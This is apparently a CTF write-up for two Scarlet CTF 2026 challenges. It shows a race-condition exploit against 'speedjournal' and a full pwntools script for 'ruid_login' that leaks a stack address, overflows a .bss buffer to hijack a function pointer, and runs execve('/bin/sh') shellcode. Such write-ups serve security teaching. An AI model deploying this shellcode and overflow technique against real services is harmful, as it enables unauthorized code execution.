Scarlet CTF 2026
speedjournal
There's a 1000 millisecond race-window
#define WAIT_TIME 1000
void *logout_thread(void *arg) {
usleep(WAIT_TIME);
is_admin = 0;
return NULL;
}
void login_admin() {
char pw[32];
printf("Admin password: ");
fgets(pw, sizeof(pw), stdin);
if (strncmp(pw, "supersecret\n", 12) == 0) {
is_admin = 1;
pthread_t t;
pthread_create(&t, NULL, logout_thread, NULL);
pthread_detach(t);
puts("[+] Admin logged in (temporarily)");
} else {
puts("[-] Wrong password");
}
}
void read_log() {
int idx;
printf("Index: ");
scanf("%d", &idx);
getchar();
if (idx < 0 || idx >= log_count) {
puts("Invalid index");
return;
}
if (logs[idx].restricted && !is_admin) {
puts("Access denied");
return;
}
printf("Log: %s\n", logs[idx].content);
}
Flag was placed in logs[0], which is required to is_admin flag for access.
I gained stable race-window with no-receiving.
from pwn import *
p = remote('challs.ctf.rusec.club', 22169)
# Send all inputs rapidly
p.sendline(b'1')
p.sendline(b'supersecret')
p.sendline(b'3')
p.sendline(b'0')
p.interactive()
ruid_login
checksec checksec ruid_login [*] '/home/tsuneki/dc/ctf/scarlet/ruid_login' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
The vulnerability was the obvious buffer overflow in .bss segment in function: dean.
Luckily, the function pointer was located adjacent to and behind the buffer, hijacking rip was quite easy.
004014d2 int64_t dean()
004014da void* fsbase
004014da int64_t rax = *(fsbase + 0x28)
004014f3 puts(str: "Change a staff member's name!")
004014f8 list_ruids()
00401510 int32_t var_14
00401510
00401510 if (get_number(&var_14, 2) != 0)
00401521 printf(format: "New name: ")
0040154f read(fd: 0, buf: zx.q(var_14) * 0x30 + &users, nbytes: 0x29)
0040154f
00401564 if (rax == *(fsbase + 0x28))
0040156c return rax - *(fsbase + 0x28)
0040156c
00401566 __stack_chk_fail()
00401566 noreturn
Also, rand() which used to identify the member is predictable.
Since I could implement non-null terminated buffer, I leaked the stack address via %s.
00401667 int32_t main(int32_t argc, char** argv, char** envp)
0040166f void* fsbase
0040166f int64_t rax = *(fsbase + 0x28)
0040168d setbuf(fp: __bss_start, buf: nullptr)
004016a1 setbuf(fp: stdin, buf: nullptr)
004016a6 setup_users()
004016b5 puts(str: "Welcome to Rutgers University!")
004016c9 printf(format: "Please enter your netID: ")
004016ce int64_t buf
004016ce __builtin_memset(dest: &buf, ch: 0, count: 0x40)
0040171f read(fd: 0, &buf, nbytes: 0x40)
0040173a *(&buf + strcspn(&buf, "\n")) = 0
00401755 printf(format: "Accessing secure interface as netid '%s'\n", &buf,
00401755 "Accessing secure interface as netid '%s'\n")
from pwn import *
from icecream import ic
import sys
import re
import inspect
e = ELF("ruid_login",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc challs.ctf.rusec.club 4622"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b,drop=True)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
def hl(v: int): print(f"{(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}")
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
r()
a = asm("""
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
""")
rst()
a = a.ljust(0x3f, b"A")
pay(
a,
b"B"
)
s(payload)
ru(b"B")
leak = ru(b"'")
ic(leak)
leak = pu64(leak)
hl(leak)
sln(0x00000000327b23c6)
sln(1)
rst()
shellcode_ptr = leak - (0x7fff73cb8f90 - 0x7fff73cb8e60)
pay(
b"A"*32,
shellcode_ptr
)
sl(payload)
sln(0x00000000327b230a)
shell()
"""
0x557016f8f0e0|+0x0008|+001: 0x6f737365666f7250 'Professor'
0x557016f8f0e8|+0x0010|+002: 0x0000000000000072
0x557016f8f0f0|+0x0018|+003: 0x0000000000000000
0x557016f8f0f8|+0x0020|+004: 0x0000000000000000
0x557016f8f100|+0x0028|+005: 0x0000557016f8c2f3 <prof> -> 0x20ec8348e5894855
0x557016f8f108|+0x0030|+006: 0x000000006b8b4567
0x557016f8f110|+0x0038|+007: 0x000000006e616544 ('Dean'?)
0x557016f8f118|+0x0040|+008: 0x0000000000000000
0x557016f8f120|+0x0048|+009: 0x0000000000000000
0x557016f8f128|+0x0050|+010: 0x0000000000000000
0x557016f8f130|+0x0058|+011: 0x0000557016f8c4d2 <dean> -> 0x10ec8348e5894855
0x557016f8f138|+0x0060|+012: 0x00000000327b23c6
"""
Last modified: 17 February 2026